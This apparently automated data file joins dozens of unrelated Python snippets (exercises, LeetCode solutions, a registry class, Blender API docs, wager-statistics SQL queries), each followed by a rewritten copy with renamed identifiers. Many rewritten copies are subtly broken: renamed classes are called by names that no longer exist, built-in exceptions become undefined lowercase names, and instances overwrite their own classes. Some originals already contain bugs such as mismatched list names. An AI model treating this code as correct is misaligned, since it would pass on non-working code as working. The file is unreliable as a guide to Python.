print('Hello World') name = 'joey' age = 27 print(name + str(age)) test_list = [0, 1, 2] testList.append(3) testList.append(4) for member in testList: print(member) for (index, member) in enumerate(testList): print('Index: ' + str(index) + ' item: ' + str(member)) list1 = [1, 3, 5, 7] list2 = [2, 4, 6, 8] print(list1 + list2) mystring = 'Hello World, I am a string!' print(mystring[:4]) print(mystring[4:]) print(mystring[2:5]) print(mystring[-4:]) print(mystring[::2]) print(mystring[::-1]) print(mystring.split(' '))
days = int(input()) type_of_room = input() feedback = input() price = 0 nights = days - 1 if type_of_room == 'room for one person': price = 18 cost = nights * price elif type_of_room == 'apartment': price = 25 cost = nights * price if days < 10: cost = cost - (cost * 30 /100) elif 10 <= days <= 15: cost = cost - (cost * 35 / 100) elif days > 15: cost = cost - (cost * 50 / 100) elif type_of_room == 'president apartment': price = 35 cost = nights * price if days < 10: cost = cost - (cost * 10 /100) elif 10 <= days <= 15: cost = cost - (cost * 15 / 100) elif days > 15: cost = cost - (cost * 20 / 100) if feedback == 'positive': cost = cost + (cost * 25 /100) elif feedback == 'negative': cost = cost - (cost * 10 / 100) print (f'{cost:.2f}')
days = int(input()) type_of_room = input() feedback = input() price = 0 nights = days - 1 if type_of_room == 'room for one person': price = 18 cost = nights * price elif type_of_room == 'apartment': price = 25 cost = nights * price if days < 10: cost = cost - cost * 30 / 100 elif 10 <= days <= 15: cost = cost - cost * 35 / 100 elif days > 15: cost = cost - cost * 50 / 100 elif type_of_room == 'president apartment': price = 35 cost = nights * price if days < 10: cost = cost - cost * 10 / 100 elif 10 <= days <= 15: cost = cost - cost * 15 / 100 elif days > 15: cost = cost - cost * 20 / 100 if feedback == 'positive': cost = cost + cost * 25 / 100 elif feedback == 'negative': cost = cost - cost * 10 / 100 print(f'{cost:.2f}')
class A(object): def go(self): print("go A go!") def stop(self): print("stop A stop!") def pause(self): raise Exception("Not Implemented") class B(A): def go(self): super(B, self).go() print("go B go!") class C(A): def go(self): super(C, self).go() print("go C go!") def stop(self): super(C, self).stop() print("stop C stop!") class D(B,C): def go(self): super(D, self).go() print("go D go!") def stop(self): super(D, self).stop() print("stop D stop!") def pause(self): print("wait D wait!") class E(B,C): pass a = A() b = B() c = C() d = D() e = E() # specify output from here onwards a.go() b.go() c.go() d.go() e.go() a.stop() b.stop() c.stop() d.stop() e.stop() a.pause() b.pause() c.pause() d.pause() e.pause() ''' Solutions a.go() # go A go! b.go() # go A go! # go B go! c.go() # go A go! # go C go! d.go() # go A go! # go C go! # go B go! # go D go! e.go() # go A go! # go C go! # go B go! a.stop() # stop A stop! b.stop() # stop A stop! c.stop() # stop A stop! # stop C stop! d.stop() # stop A stop! # stop C stop! # stop D stop! e.stop() # stop A stop! a.pause() # ... Exception: Not Implemented b.pause() # ... Exception: Not Implemented c.pause() # ... Exception: Not Implemented d.pause() # wait D wait! e.pause() # ...Exception: Not Implemented '''
class A(object): def go(self): print('go A go!') def stop(self): print('stop A stop!') def pause(self): raise exception('Not Implemented') class B(A): def go(self): super(B, self).go() print('go B go!') class C(A): def go(self): super(C, self).go() print('go C go!') def stop(self): super(C, self).stop() print('stop C stop!') class D(B, C): def go(self): super(D, self).go() print('go D go!') def stop(self): super(D, self).stop() print('stop D stop!') def pause(self): print('wait D wait!') class E(B, C): pass a = a() b = b() c = c() d = d() e = e() a.go() b.go() c.go() d.go() e.go() a.stop() b.stop() c.stop() d.stop() e.stop() a.pause() b.pause() c.pause() d.pause() e.pause() '\nSolutions\na.go()\n# go A go!\n\nb.go()\n# go A go!\n# go B go!\n\nc.go()\n# go A go!\n# go C go!\n\nd.go()\n# go A go!\n# go C go!\n# go B go!\n# go D go!\n\ne.go()\n# go A go!\n# go C go!\n# go B go!\n\na.stop()\n# stop A stop!\n\nb.stop()\n# stop A stop!\n\nc.stop()\n# stop A stop!\n# stop C stop!\n\nd.stop()\n# stop A stop!\n# stop C stop!\n# stop D stop!\n\ne.stop()\n# stop A stop!\n\na.pause()\n# ... Exception: Not Implemented\n\nb.pause()\n# ... Exception: Not Implemented\n\nc.pause()\n# ... Exception: Not Implemented\n\nd.pause()\n# wait D wait!\n\ne.pause()\n# ...Exception: Not Implemented\n\n'
# # @lc app=leetcode id=902 lang=python3 # # [902] Numbers At Most N Given Digit Set # # @lc code=start class Solution: def atMostNGivenDigitSet(self, D: List[str], N: int) -> int: s = str(N) n = len(s) ans = sum(len(D) ** i for i in range(1, n)) for i, c in enumerate(s): ans += len(D) ** (n - i - 1) * sum(d < c for d in D) if c not in D: return ans return ans + 1 # @lc code=end
class Solution: def at_most_n_given_digit_set(self, D: List[str], N: int) -> int: s = str(N) n = len(s) ans = sum((len(D) ** i for i in range(1, n))) for (i, c) in enumerate(s): ans += len(D) ** (n - i - 1) * sum((d < c for d in D)) if c not in D: return ans return ans + 1
fields = ["one", "two", "three", "four", "five", "six"] together = ":".join(fields) print(together) # one:two:three:four:five:six together = ':'.join(fields) print(together) # one:two and three:four:five:six mixed = ' -=<> '.join(fields) print(mixed) # one -=<> two and three -=<> four -=<> five -=<> six another = ''.join(fields) print(another) # onetwo and threefourfivesix
fields = ['one', 'two', 'three', 'four', 'five', 'six'] together = ':'.join(fields) print(together) together = ':'.join(fields) print(together) mixed = ' -=<> '.join(fields) print(mixed) another = ''.join(fields) print(another)
# vim: set fileencoding=<utf-8> : '''Counting k-mers''' __version__ = '0.1.0'
"""Counting k-mers""" __version__ = '0.1.0'
# Registry Class # CMD # Refer this in Detectron2 class Registry: def __init__(self, name): self._name = name self._obj_map = {} def _do_register(self, name, obj): assert (name not in self._obj_map), "The object named: {} was already registered in {} registry! ".format(name, self._name) self._obj_map[name] = obj def register(self, obj=None): """ Register the given object under the name obj.__name__. Can be used as either a decorator or not. """ if obj is None: # used as a decorator def deco(func_or_class): name = func_or_class.__name__ self._do_register(name, func_or_class) return func_or_class return deco name = obj.__name__ self._do_register(name, obj) def get(self, name): ret = self._obj_map.get(name) if ret is None: raise KeyError("No object names {} found in {} registry!".format(name, self._name)) return ret def __getitem__(self, name): return self.get(name) def keys(self): return self._obj_map.keys()
class Registry: def __init__(self, name): self._name = name self._obj_map = {} def _do_register(self, name, obj): assert name not in self._obj_map, 'The object named: {} was already registered in {} registry! '.format(name, self._name) self._obj_map[name] = obj def register(self, obj=None): """ Register the given object under the name obj.__name__. Can be used as either a decorator or not. """ if obj is None: def deco(func_or_class): name = func_or_class.__name__ self._do_register(name, func_or_class) return func_or_class return deco name = obj.__name__ self._do_register(name, obj) def get(self, name): ret = self._obj_map.get(name) if ret is None: raise key_error('No object names {} found in {} registry!'.format(name, self._name)) return ret def __getitem__(self, name): return self.get(name) def keys(self): return self._obj_map.keys()
class Solution(object): def reverseString(self, s): """ :type s: str :rtype: str """ res = [] for i in range(len(s)-1,-1,-1): res.append(s[i]) return ''.join(res)
class Solution(object): def reverse_string(self, s): """ :type s: str :rtype: str """ res = [] for i in range(len(s) - 1, -1, -1): res.append(s[i]) return ''.join(res)
# Use the file name mbox-short.txt as the file name file_name = input("Enter file name: ") fh = open(file_name) count = 0 total = 0 for line in fh: if not line.startswith("X-DSPAM-Confidence:"): continue pos = line.find('0') total += float(line[pos:pos + 6]) count += 1 average = total / count print("Average spam confidence:", average)
file_name = input('Enter file name: ') fh = open(file_name) count = 0 total = 0 for line in fh: if not line.startswith('X-DSPAM-Confidence:'): continue pos = line.find('0') total += float(line[pos:pos + 6]) count += 1 average = total / count print('Average spam confidence:', average)
print("hello") o= input ("input operation ") x= int(input ("x = ")) y= int(input ("y = ")) if o == "+": print (x+y) elif o == "-": print (x-y) elif o == "*" : print (x*y) elif o == "/" : if y==0 : print ("it's a simple calc, don't be too smart") else : print (x/y) elif o == "//" : if y==0 : print ("it's a simple calc, don't be too smart") else : print (x//y) elif o == "**" : print (x**y) elif o == "%" : if y==0 : print ("it's a simple calc, don't be too smart") else : print (x%y) else : print ("Unknown operational symbol. It's a simple calc, don't forget" )
print('hello') o = input('input operation ') x = int(input('x = ')) y = int(input('y = ')) if o == '+': print(x + y) elif o == '-': print(x - y) elif o == '*': print(x * y) elif o == '/': if y == 0: print("it's a simple calc, don't be too smart") else: print(x / y) elif o == '//': if y == 0: print("it's a simple calc, don't be too smart") else: print(x // y) elif o == '**': print(x ** y) elif o == '%': if y == 0: print("it's a simple calc, don't be too smart") else: print(x % y) else: print("Unknown operational symbol. It's a simple calc, don't forget")
wsgi_app = "tabby.wsgi:application" workers = 4 preload_app = True sendfile = True max_requests = 1000 max_requests_jitter = 100
wsgi_app = 'tabby.wsgi:application' workers = 4 preload_app = True sendfile = True max_requests = 1000 max_requests_jitter = 100
class ScramException(Exception): pass class BadChallengeException(ScramException): pass class ExtraChallengeException(ScramException): pass class ServerScramError(ScramException): pass class BadSuccessException(ScramException): pass class NotAuthorizedException(ScramException): pass
class Scramexception(Exception): pass class Badchallengeexception(ScramException): pass class Extrachallengeexception(ScramException): pass class Serverscramerror(ScramException): pass class Badsuccessexception(ScramException): pass class Notauthorizedexception(ScramException): pass
# pylint: disable=missing-function-docstring, missing-module-docstring/ a = [i*j for i in range(1,3) for j in range(1,4) for k in range(i,j)] n = 5 a = [i*j for i in range(1,n) for j in range(1,4) for k in range(i,j)]
a = [i * j for i in range(1, 3) for j in range(1, 4) for k in range(i, j)] n = 5 a = [i * j for i in range(1, n) for j in range(1, 4) for k in range(i, j)]
""" Syntax of while Loop while test_condition: body of while """ #Print first 5 natural numbers using while loop count = 1 while count <= 5: print(count) count += 1
""" Syntax of while Loop while test_condition: body of while """ count = 1 while count <= 5: print(count) count += 1
def get_lucky_numbers(self): return self.execute("select lucky_number, count(lucky_number) as occurences, sum(case when outcome < 1 then 1 else 0 end) as negative_outcomes, sum(case when outcome > 1 then 1 else 0 end) as successful_outcomes from wager_history where lucky_number <> 0 group by lucky_number") def get_number_occurence(self): return self.execute("select chosen_number, count(chosen_number) as occurences, sum(case when outcome < 1 then 1 else 0 end) as negative_outcomes, sum(case when outcome > 1 then 1 else 0 end) as successful_outcomes from wager_history group by chosen_number") def get_multiplier_occurence(self): return self.execute("select win_multiplier, count(win_multiplier) as occurences, sum(case when outcome < 1 then 1 else 0 end) as negative_outcomes, sum(case when outcome > 1 then 1 else 0 end) as successful_outcomes from wager_history group by win_multiplier") def get_wagers_and_outcomes_by_day(self, limit=30): return self.execute("select date(wager_time, 'unixepoch') as wager_date, case when sum(wager) > 100000 then 100000 else sum(wager) end as amount_wagered, case when sum(outcome) > 100000 then 100000 when sum(outcome) < -100000 then -100000 else sum(outcome) end as outcome from wager_history group by date(wager_time, 'unixepoch') limit ?", [limit]) def get_wagers_by_outcome(self, limit=15): return self.execute("select wager, sum(case when outcome > 1 then 1 else 0 end) as successful_outcomes, sum(case when outcome < 1 then 1 else 0 end) as negative_outcomes from wager_history group by wager order by count(wager) desc limit ?", [limit]) def get_lucky_and_chosen_cooccurence(self): return self.execute("select lucky.number, lucky.lucky_numero, chosen.chosen_numero, case when coc.cooccurrence is null then 0 else coc.cooccurrence end as cooccurence from (select chosen_number as number, count(chosen_number) as chosen_numero, null as lucky_number from wager_history group by chosen_number) chosen inner join (select lucky_number as number, null as chosen_number, count(lucky_number) as lucky_numero from wager_history group by lucky_number) lucky on lucky.number=chosen.number left join (select lucky_number as number, count(*) as cooccurrence from wager_history where lucky_number = chosen_number group by number) coc on lucky.number=coc.number") def get_aggregate_wager_stats(self, start=0, end=4000000000): results = self.execute(""" SELECT count(*) as spins, AVG(wager) as avg_wgr, AVG(outcome) as avg_out, MAX(wager) as max_wgr, SUM(wager) as ttl_wgr, SUM(outcome) as net_win, AVG(win_multiplier) as avg_multi, SUM(cheated_death) as cheat_death FROM wager_history where wager_time > ? and wager_time < ? """, [start, end]) try: results = results.next() results["avg_out"] = int(round(results["avg_out"])) results["avg_wgr"] = int(round(results["avg_wgr"])) results["avg_multi"] = int(round(results["avg_multi"])) results["roi"] = str(int(round(results["avg_out"] / results["avg_wgr"], 2) * 100)) + "%" except: results = None pass return results def get_wager_history(self, limit=50): return self.execute ("select datetime(wager_time, 'unixepoch') as time, lucky_number, wager, outcome, chosen_number, win_multiplier, cheated_death from wager_history order by wager_time desc LIMIT ?", [limit])
def get_lucky_numbers(self): return self.execute('select lucky_number, count(lucky_number) as occurences, sum(case when outcome < 1 then 1 else 0 end) as negative_outcomes, sum(case when outcome > 1 then 1 else 0 end) as successful_outcomes from wager_history where lucky_number <> 0 group by lucky_number') def get_number_occurence(self): return self.execute('select chosen_number, count(chosen_number) as occurences, sum(case when outcome < 1 then 1 else 0 end) as negative_outcomes, sum(case when outcome > 1 then 1 else 0 end) as successful_outcomes from wager_history group by chosen_number') def get_multiplier_occurence(self): return self.execute('select win_multiplier, count(win_multiplier) as occurences, sum(case when outcome < 1 then 1 else 0 end) as negative_outcomes, sum(case when outcome > 1 then 1 else 0 end) as successful_outcomes from wager_history group by win_multiplier') def get_wagers_and_outcomes_by_day(self, limit=30): return self.execute("select date(wager_time, 'unixepoch') as wager_date, case when sum(wager) > 100000 then 100000 else sum(wager) end as amount_wagered, case when sum(outcome) > 100000 then 100000 when sum(outcome) < -100000 then -100000 else sum(outcome) end as outcome from wager_history group by date(wager_time, 'unixepoch') limit ?", [limit]) def get_wagers_by_outcome(self, limit=15): return self.execute('select wager, sum(case when outcome > 1 then 1 else 0 end) as successful_outcomes, sum(case when outcome < 1 then 1 else 0 end) as negative_outcomes from wager_history group by wager order by count(wager) desc limit ?', [limit]) def get_lucky_and_chosen_cooccurence(self): return self.execute('select lucky.number, lucky.lucky_numero, chosen.chosen_numero, case when coc.cooccurrence is null then 0 else coc.cooccurrence end as cooccurence from (select chosen_number as number, count(chosen_number) as chosen_numero, null as lucky_number from wager_history group by chosen_number) chosen inner join (select lucky_number as number, null as chosen_number, count(lucky_number) as lucky_numero from wager_history group by lucky_number) lucky on lucky.number=chosen.number left join (select lucky_number as number, count(*) as cooccurrence from wager_history where lucky_number = chosen_number group by number) coc on lucky.number=coc.number') def get_aggregate_wager_stats(self, start=0, end=4000000000): results = self.execute('\n SELECT \n count(*) as spins,\n AVG(wager) as avg_wgr, \n AVG(outcome) as avg_out, \n MAX(wager) as max_wgr, \n SUM(wager) as ttl_wgr, \n SUM(outcome) as net_win, \n AVG(win_multiplier) as avg_multi,\n SUM(cheated_death) as cheat_death\n FROM \n wager_history\n where wager_time > ? and wager_time < ?\n ', [start, end]) try: results = results.next() results['avg_out'] = int(round(results['avg_out'])) results['avg_wgr'] = int(round(results['avg_wgr'])) results['avg_multi'] = int(round(results['avg_multi'])) results['roi'] = str(int(round(results['avg_out'] / results['avg_wgr'], 2) * 100)) + '%' except: results = None pass return results def get_wager_history(self, limit=50): return self.execute("select datetime(wager_time, 'unixepoch') as time, lucky_number, wager, outcome, chosen_number, win_multiplier, cheated_death from wager_history order by wager_time desc LIMIT ?", [limit])
# This is not a real module, it's simply an introductory text. """ The Blender Game Engine Python API Reference ============================================ See U{release notes<http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.49/Game_Engine>} for updates, changes and new functionality in the Game Engine Python API. Blender Game Engine Modules: ---------------------------- Modules that include methods for accessing GameEngine data and functions. - L{GameLogic} utility functons for game logic. - L{GameKeys} keyboard input and event conversion. - L{Rasterizer} display and rendering. - L{GameTypes} contains all the python types spesific to the GameEngine. Modules with documentation in progress: --------------------- - L{VideoTexture} - L{PhysicsConstraints} Additional Modules: ------------------- These modules have no GameEngine specific functionality but are useful in many cases. - L{mathutils} - L{Geometry} - L{BGL} Introduction: ============= This reference documents the Blender Python API, a growing collection of Python modules (libraries) that give access to part of the program's internal data and functions. Through scripting Blender can be extended in real-time via U{Python <www.python.org>}, an impressive high level, multi-paradigm, open source language. Newcomers are recommended to start with the tutorial that comes with it. This opens many interesting possibilities not available with logic bricks. Game Engine API Stability: -------------------------- When writing python scripts there are a number of situations you should avoid to prevent crashes or unstable behavior. While the API tries to prevent problems there are some situations where error checking would be too time consuming. Known cases: - Memory Limits. There is nothing stopping you from filling a list or making a string so big that that causes blender to run out of memory, in this case python should rasie a MemoryError, but its likely blender will crash before this point. - Accessing any data that has been freed. For instance accessing a KX_GameObject after its End Object actuator runs. This will cause a SystemError, however for L{KX_MeshProxy}, L{KX_VertexProxy} and L{KX_VertexProxy} it will crash the blender game engine. See: L{GameTypes.PyObjectPlus.invalid} which many types inherit. - Mixing L{KX_GameObject} between scenes. For instance tracking/parenting an L{KX_GameObject} object to an object from other scene. External Modules: ----------------- Since 2.49 support for importing modules has been added. This allows you to import any blender textblock with a .py extension. External python scripts may be imported as modules when the script is in the same directory as the blend file. The current blend files path is included in the sys.path for loading modules. All linked libraries will also be included so you can be sure when linking in assets from another blend file the scripts will load too. A note to newbie script writers: -------------------------------- Interpreted languages are known to be much slower than compiled code, but for many applications the difference is negligible or acceptable. Also, with profiling (or even simple direct timing with L{Blender.sys.time<Sys.time>}) to identify slow areas and well thought optimizations, the speed can be I{considerably} improved in many cases. Try some of the best BPython scripts to get an idea of what can be done, you may be surprised. @author: The Blender Python Team @requires: Blender 2.49 or newer. @version: 2.49 @see: U{www.blender.org<http://www.blender.org>}: documentation and forum @see: U{blenderartists.org<http://blenderartists.org>}: user forum @see: U{projects.blender.org<http://projects.blender.org>} @see: U{www.python.org<http://www.python.org>} @see: U{www.python.org/doc<http://www.python.org/doc>} @see: U{Blending into Python<en.wikibooks.org/wiki/Blender_3D:_Blending_Into_Python>}: User contributed documentation, featuring a blender/python cookbook with many examples. @note: the official version of this reference guide is only updated for each new Blender release. But you can build the current SVN version yourself: install epydoc, grab all files in the source/gameengine/PyDoc/ folder of Blender's SVN and use the epy_docgen.sh script also found there to generate the html docs. Naturally you will also need a recent Blender binary to try the new features. If you prefer not to compile it yourself, there is a testing builds forum at U{blender.org<http://www.blender.org>}. """
""" The Blender Game Engine Python API Reference ============================================ See U{release notes<http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.49/Game_Engine>} for updates, changes and new functionality in the Game Engine Python API. Blender Game Engine Modules: ---------------------------- Modules that include methods for accessing GameEngine data and functions. - L{GameLogic} utility functons for game logic. - L{GameKeys} keyboard input and event conversion. - L{Rasterizer} display and rendering. - L{GameTypes} contains all the python types spesific to the GameEngine. Modules with documentation in progress: --------------------- - L{VideoTexture} - L{PhysicsConstraints} Additional Modules: ------------------- These modules have no GameEngine specific functionality but are useful in many cases. - L{mathutils} - L{Geometry} - L{BGL} Introduction: ============= This reference documents the Blender Python API, a growing collection of Python modules (libraries) that give access to part of the program's internal data and functions. Through scripting Blender can be extended in real-time via U{Python <www.python.org>}, an impressive high level, multi-paradigm, open source language. Newcomers are recommended to start with the tutorial that comes with it. This opens many interesting possibilities not available with logic bricks. Game Engine API Stability: -------------------------- When writing python scripts there are a number of situations you should avoid to prevent crashes or unstable behavior. While the API tries to prevent problems there are some situations where error checking would be too time consuming. Known cases: - Memory Limits. There is nothing stopping you from filling a list or making a string so big that that causes blender to run out of memory, in this case python should rasie a MemoryError, but its likely blender will crash before this point. - Accessing any data that has been freed. For instance accessing a KX_GameObject after its End Object actuator runs. This will cause a SystemError, however for L{KX_MeshProxy}, L{KX_VertexProxy} and L{KX_VertexProxy} it will crash the blender game engine. See: L{GameTypes.PyObjectPlus.invalid} which many types inherit. - Mixing L{KX_GameObject} between scenes. For instance tracking/parenting an L{KX_GameObject} object to an object from other scene. External Modules: ----------------- Since 2.49 support for importing modules has been added. This allows you to import any blender textblock with a .py extension. External python scripts may be imported as modules when the script is in the same directory as the blend file. The current blend files path is included in the sys.path for loading modules. All linked libraries will also be included so you can be sure when linking in assets from another blend file the scripts will load too. A note to newbie script writers: -------------------------------- Interpreted languages are known to be much slower than compiled code, but for many applications the difference is negligible or acceptable. Also, with profiling (or even simple direct timing with L{Blender.sys.time<Sys.time>}) to identify slow areas and well thought optimizations, the speed can be I{considerably} improved in many cases. Try some of the best BPython scripts to get an idea of what can be done, you may be surprised. @author: The Blender Python Team @requires: Blender 2.49 or newer. @version: 2.49 @see: U{www.blender.org<http://www.blender.org>}: documentation and forum @see: U{blenderartists.org<http://blenderartists.org>}: user forum @see: U{projects.blender.org<http://projects.blender.org>} @see: U{www.python.org<http://www.python.org>} @see: U{www.python.org/doc<http://www.python.org/doc>} @see: U{Blending into Python<en.wikibooks.org/wiki/Blender_3D:_Blending_Into_Python>}: User contributed documentation, featuring a blender/python cookbook with many examples. @note: the official version of this reference guide is only updated for each new Blender release. But you can build the current SVN version yourself: install epydoc, grab all files in the source/gameengine/PyDoc/ folder of Blender's SVN and use the epy_docgen.sh script also found there to generate the html docs. Naturally you will also need a recent Blender binary to try the new features. If you prefer not to compile it yourself, there is a testing builds forum at U{blender.org<http://www.blender.org>}. """
# Apr 21 class Solution(object): def minMeetingRooms(self, intervals): """ :type intervals: List[List[int]] :rtype: int """ result = 0 heap = [] count = 0 for start, end in intervals: heapq.heappush(heap, [start, 1]) heapq.heappush(heap, [end, 0]) while heap: time, status = heapq.heappop(heap) if status == 0: count -= 1 else: count += 1 result = max(result, count) return result class Solution: def minMeetingRooms(self, intervals: List[List[int]]) -> int: if not intervals: return 0 result = 0 count = 0 events = [] for start, end in intervals: events.append((start, 1)) events.append((end, 0)) events.sort() # events = sorted(events, key=(lambda x: [x[0], x[1]])) for event in events: if event[1] == 1: count += 1 else: count -= 1 result = max(count, result) return result
class Solution(object): def min_meeting_rooms(self, intervals): """ :type intervals: List[List[int]] :rtype: int """ result = 0 heap = [] count = 0 for (start, end) in intervals: heapq.heappush(heap, [start, 1]) heapq.heappush(heap, [end, 0]) while heap: (time, status) = heapq.heappop(heap) if status == 0: count -= 1 else: count += 1 result = max(result, count) return result class Solution: def min_meeting_rooms(self, intervals: List[List[int]]) -> int: if not intervals: return 0 result = 0 count = 0 events = [] for (start, end) in intervals: events.append((start, 1)) events.append((end, 0)) events.sort() for event in events: if event[1] == 1: count += 1 else: count -= 1 result = max(count, result) return result
class PlayerCharacter: def __init__(self, name, age): self.name = name self.age = age def run(self): print("run") return "done" player1 = PlayerCharacter("Cindy", 50) player2 = PlayerCharacter("Tom", 20) print(player1.name) print(player1.age) print(player2.name) print(player2.age) print(player1.run())
class Playercharacter: def __init__(self, name, age): self.name = name self.age = age def run(self): print('run') return 'done' player1 = player_character('Cindy', 50) player2 = player_character('Tom', 20) print(player1.name) print(player1.age) print(player2.name) print(player2.age) print(player1.run())
def Reverse(a): return ' '.join(map(str, a.split()[::-1])) if not a.isspace() else a if __name__ == '__main__': print(Reverse(" "))
def reverse(a): return ' '.join(map(str, a.split()[::-1])) if not a.isspace() else a if __name__ == '__main__': print(reverse(' '))
DATA_DIR = "data/captcha_images_v2" BATCH_SIZE = 8 IMAGE_WIDTH = 300 IMAGE_HEIGHT = 75 NUM_WORKERS = 8 EPOCHS = 200 DEVICE = "cuda"
data_dir = 'data/captcha_images_v2' batch_size = 8 image_width = 300 image_height = 75 num_workers = 8 epochs = 200 device = 'cuda'
with open('dataset_3363_3.txt') as inf, open('MostPopularWord.txt','w') as ouf: maxc = 0 s = inf.read().lower().strip().split() s.sort() for word in s: counter = s.count(word) if counter > maxc: maxc = counter result_word = word ouf.write(result_word +' ' + str(maxc))
with open('dataset_3363_3.txt') as inf, open('MostPopularWord.txt', 'w') as ouf: maxc = 0 s = inf.read().lower().strip().split() s.sort() for word in s: counter = s.count(word) if counter > maxc: maxc = counter result_word = word ouf.write(result_word + ' ' + str(maxc))
def mpii_get_sequence_info(subject_id, sequence): switcher = { "1 1": [6416,25], "1 2": [12430,50], "2 1": [6502,25], "2 2": [6081,25], "3 1": [12488,50], "3 2": [12283,50], "4 1": [6171,25], "4 2": [6675,25], "5 1": [12820,50], "5 2": [12312,50], "6 1": [6188,25], "6 2": [6145,25], "7 1": [6239,25], "7 2": [6320,25], "8 1": [6468,25], "8 2": [6054,25], } return switcher.get(subject_id+" "+sequence)
def mpii_get_sequence_info(subject_id, sequence): switcher = {'1 1': [6416, 25], '1 2': [12430, 50], '2 1': [6502, 25], '2 2': [6081, 25], '3 1': [12488, 50], '3 2': [12283, 50], '4 1': [6171, 25], '4 2': [6675, 25], '5 1': [12820, 50], '5 2': [12312, 50], '6 1': [6188, 25], '6 2': [6145, 25], '7 1': [6239, 25], '7 2': [6320, 25], '8 1': [6468, 25], '8 2': [6054, 25]} return switcher.get(subject_id + ' ' + sequence)
# by Kami Bigdely # Extract Class class FoodInfo: def __init__(self, name, prep_time, is_veggie, food_type, cuisine, ingredients, recipe): self.name = name self.prep_time = prep_time self.is_veggie = is_veggie self.food_type = food_type self.cuisine = cuisine self.ingredients = ingredients self.recipie = recipe butternut_sqaush_soup = FoodInfo( 'butternut squash soup', 45, True, 'soup', 'North African', ['butter squash','onion','carrot', 'garlic','butter','black pepper', 'cinnamon','coconut milk'], '1. Grill the butter squash, onion, carrot and garlic in the oven until ' 'they get soft and golden on top. \n' '2. Put all in blender with butter and coconut milk. Blend them till they become puree. ' 'Then move the content into a pot. Add coconut milk. Simmer for 5 mintues.') shirazi_salad = FoodInfo( 'shirazi salad', 5, True, 'salad', 'Iranian', ['cucumber', 'tomato', 'onion', 'lemon juice'], '1. dice cucumbers, tomatoes and onions. \n' '2. put all into a bowl. \n' '3. pour lemon juice and add salt. \n' '4. Mixed them thoroughly.') homemade_beef_sausage = FoodInfo( 'Home-made Beef Sausage', 60, False, 'deli', 'All', ['sausage casing', 'regular ground beef','garlic','corriander seeds', 'black pepper seeds','fennel seed','paprika'], '1. In a blender, blend corriander seeds, black pepper seeds, ' 'fennel seeds and garlic to make the seasonings \n' '2. In a bowl, mix ground beef with the seasoning \n' '3. Add all the content to a sausage stuffer. Put the casing on the stuffer funnel. ' 'Rotate the stuffer\'s handle (or turn it on) to make your yummy sausages!') foods = [butternut_sqaush_soup, shirazi_salad, homemade_beef_sausage] for food in foods: print("Name:", food.name) print("Prep time:", food.prep_time, "mins") print("Is Veggie?", 'Yes' if food.is_veggie else "No") print("Food Type:", food.food_type) print("Cuisine:", food.cuisine) for item in food.ingredients: print(item, end=', ') print() print("recipe", food.recipie) print("***")
class Foodinfo: def __init__(self, name, prep_time, is_veggie, food_type, cuisine, ingredients, recipe): self.name = name self.prep_time = prep_time self.is_veggie = is_veggie self.food_type = food_type self.cuisine = cuisine self.ingredients = ingredients self.recipie = recipe butternut_sqaush_soup = food_info('butternut squash soup', 45, True, 'soup', 'North African', ['butter squash', 'onion', 'carrot', 'garlic', 'butter', 'black pepper', 'cinnamon', 'coconut milk'], '1. Grill the butter squash, onion, carrot and garlic in the oven until they get soft and golden on top. \n2. Put all in blender with butter and coconut milk. Blend them till they become puree. Then move the content into a pot. Add coconut milk. Simmer for 5 mintues.') shirazi_salad = food_info('shirazi salad', 5, True, 'salad', 'Iranian', ['cucumber', 'tomato', 'onion', 'lemon juice'], '1. dice cucumbers, tomatoes and onions. \n2. put all into a bowl. \n3. pour lemon juice and add salt. \n4. Mixed them thoroughly.') homemade_beef_sausage = food_info('Home-made Beef Sausage', 60, False, 'deli', 'All', ['sausage casing', 'regular ground beef', 'garlic', 'corriander seeds', 'black pepper seeds', 'fennel seed', 'paprika'], "1. In a blender, blend corriander seeds, black pepper seeds, fennel seeds and garlic to make the seasonings \n2. In a bowl, mix ground beef with the seasoning \n3. Add all the content to a sausage stuffer. Put the casing on the stuffer funnel. Rotate the stuffer's handle (or turn it on) to make your yummy sausages!") foods = [butternut_sqaush_soup, shirazi_salad, homemade_beef_sausage] for food in foods: print('Name:', food.name) print('Prep time:', food.prep_time, 'mins') print('Is Veggie?', 'Yes' if food.is_veggie else 'No') print('Food Type:', food.food_type) print('Cuisine:', food.cuisine) for item in food.ingredients: print(item, end=', ') print() print('recipe', food.recipie) print('***')
class Solution: def isHappy(self, n: int) -> bool: seen = {} while True: if n in seen: break counter = 0 for i in range(len(str(n))): counter += int(str(n)[i]) ** 2 seen[n] = 1 n = counter counter = 0 if n == 1: return True break else: continue return False
class Solution: def is_happy(self, n: int) -> bool: seen = {} while True: if n in seen: break counter = 0 for i in range(len(str(n))): counter += int(str(n)[i]) ** 2 seen[n] = 1 n = counter counter = 0 if n == 1: return True break else: continue return False
def christmas_tree(n, h): tree = ['*', '*', '***'] start = '*****' for i in range(n): tree.append(start) for j in range(1, h): tree.append('*' * (len(tree[-1]) + 2)) start += '**' foot = '*' * h if h % 2 == 1 else '*' * h + '*' tree += [foot for i in range(n)] max_width = len(max(tree, key = len)) return [i.center(max_width, ' ').rstrip() for i in tree] if __name__ == '__main__': num = 1 height = 3 print(christmas_tree(num, height))
def christmas_tree(n, h): tree = ['*', '*', '***'] start = '*****' for i in range(n): tree.append(start) for j in range(1, h): tree.append('*' * (len(tree[-1]) + 2)) start += '**' foot = '*' * h if h % 2 == 1 else '*' * h + '*' tree += [foot for i in range(n)] max_width = len(max(tree, key=len)) return [i.center(max_width, ' ').rstrip() for i in tree] if __name__ == '__main__': num = 1 height = 3 print(christmas_tree(num, height))
